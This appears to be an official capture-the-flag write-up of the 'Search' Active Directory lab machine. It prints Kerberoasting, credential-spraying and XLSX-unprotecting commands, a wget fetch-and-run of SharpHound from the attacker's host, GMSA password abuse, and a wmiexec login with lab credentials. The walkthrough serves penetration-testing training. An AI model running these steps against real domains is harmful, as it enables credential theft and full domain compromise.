Search
Search
Difficulty: Hard
Classification: Official
Synopsis
Search is a hard difficulty Windows machine that focuses on Active Directory enumeration and exploitation
techniques. Foothold is obtained by finding exposed credentials in a web page, enumerating AD users,
running a Kerberoast attack to obtain a crackable hash for a service account and spraying the password
against a subset of the discovered accounts, obtaining access to a SMB share where a protected XLSX file
containing user data is found. Unprotecting the file leads to a second set of credentials, which gives access
to another share where PKCS#12 certificates can be downloaded. After importing the certificates into a web
browser, Windows PowerShell Web Access can be used to obtain an interactive shell on the system. Due to
misconfigured ACLs, the user can retrieve the password of a group managed service account which can
change the password of an administrative user, resulting in high-privileged access to the system via
wmiexec or psexec .
Skills Required
Web enumeration
Hash cracking
Active Directory enumeration
Skills Learned
Removing protection from XLSX files
Enumeration
Nmap
ports=$(nmap -p- --min-rate=1000 -T4 10.10.11.129 | grep ^[0-9] | cut -d '/' -f1 | tr
'\n' ',' | sed s/,$//)
nmap -sC -sV -p$ports 10.10.11.129
The nmap output indicates that the machine is a Domain Controller on the search.htb domain. In addition
to standard Active Directory services, the IIS web server is listening on its default HTTP and HTTPS ports.
IIS
Browsing to port 80 takes us to a single-page web site containing information about provided services and
team members.
Among the images in the Our Features gallery, we can see one containing hand-written notes.
Looking closely, we are able to read the following text (disclosing potential credentials):
Running gobuster (or other similar tools) reveals the existence of a more web directories.
LDAP
Using the full name and password obtained above, and trying different common username schemes, we
find that hope.sharp:IsolationIsKey? are valid LDAP credentials that can be used with the
ldapdomaindump tool to dump Active Directory information.
Kerberos
The same credentials can be used to perform a Kerberoast attack with the Impacket script UserSPNs.py .
GetUserSPNs.py -request -dc-ip 10.10.11.129 search.htb/hope.sharp:IsolationIsKey?
After writing the obtained hash to a file named web_svc , we can crack it using John the Ripper:
Foothold
Looking at the domain_users.html file obtained with ldapdomaindump , we discover that the web_svc
account was created by HelpDesk:
On the same page we see that a few accounts are described as HelpDesk User :
We can search the domain_users.grep file to obtain the full list of HelpDesk users.
The user flag is on sierra.frye 's desktop, but we don't have the required permissions to download it.
An interesting file named Phishing_Attempt.xlsx is found in the edgar.jacobs\Desktop directory.
smbget -U edgar.jacobs
smb://10.10.11.129/RedirectedFolders$/edgar.jacobs/Desktop/Phishing_Attempt.xlsx
Column C is hidden and the sheet is protected, requiring a password for unlocking.
We find an interesting article which explains how to remove an Excel spreadsheet password. Following the
process detailed in the article, we unzip the file, remove the <sheetProtection> section and then update
the archive:
unzip Phishing_Attempt.xlsx
sed -i 's/<sheetProtection[^>]*>//' xl/worksheets/sheet2.xml
zip -fr Phishing_Attempt.xlsx *
Opening the updated file we are able to expand and view column C , which contains passwords.
When attempting to import the certificates in our web browser, we are prompted for a password.
We request the /staff page on HTTPS and authenticate using the Sierra Frye certificate.
Privilege Escalation
We host the BloodHound collector SharpHound.exe from our attacking machine using the Python
http.server module:
From our web PowerShell session we run the following commands to download and run SharpHound:
wget http://10.10.14.50/SharpHound.exe -o SharpHound.exe
./SharpHound.exe
We transfer the generated ZIP file to our local machine and import it into BloodHound. After marking the
sierra.frye user as owned, we run the Shortest Paths from Owned Principals query :
sierra.frye is a member of the ITSEC group, which has ReadGMSAPassword rights on the BIR-ADFS-
GMSA$ group managed service account. This account, in turn, has GenericAll rights on tristan.davies ,
which is a member of the Administrators group. We can follow the steps detailed in this article to retrieve
the GMSA password (the DSInternals PowerShell module is installed in C:\Program
Files\WindowsPowerShell\Modules\ ). Once the GMSA credentials are obtained, we can use them to reset
tristan.davies ' password thanks to the GenericAll permissions.
We can now obtain a shell on the target as tristan.davies by running wmiexec.py from Impacket.
wmiexec.py 'search/tristan.davies:[email protected]'
The root flag can be found in C:\Users\Administrator\Desktop\root.txt .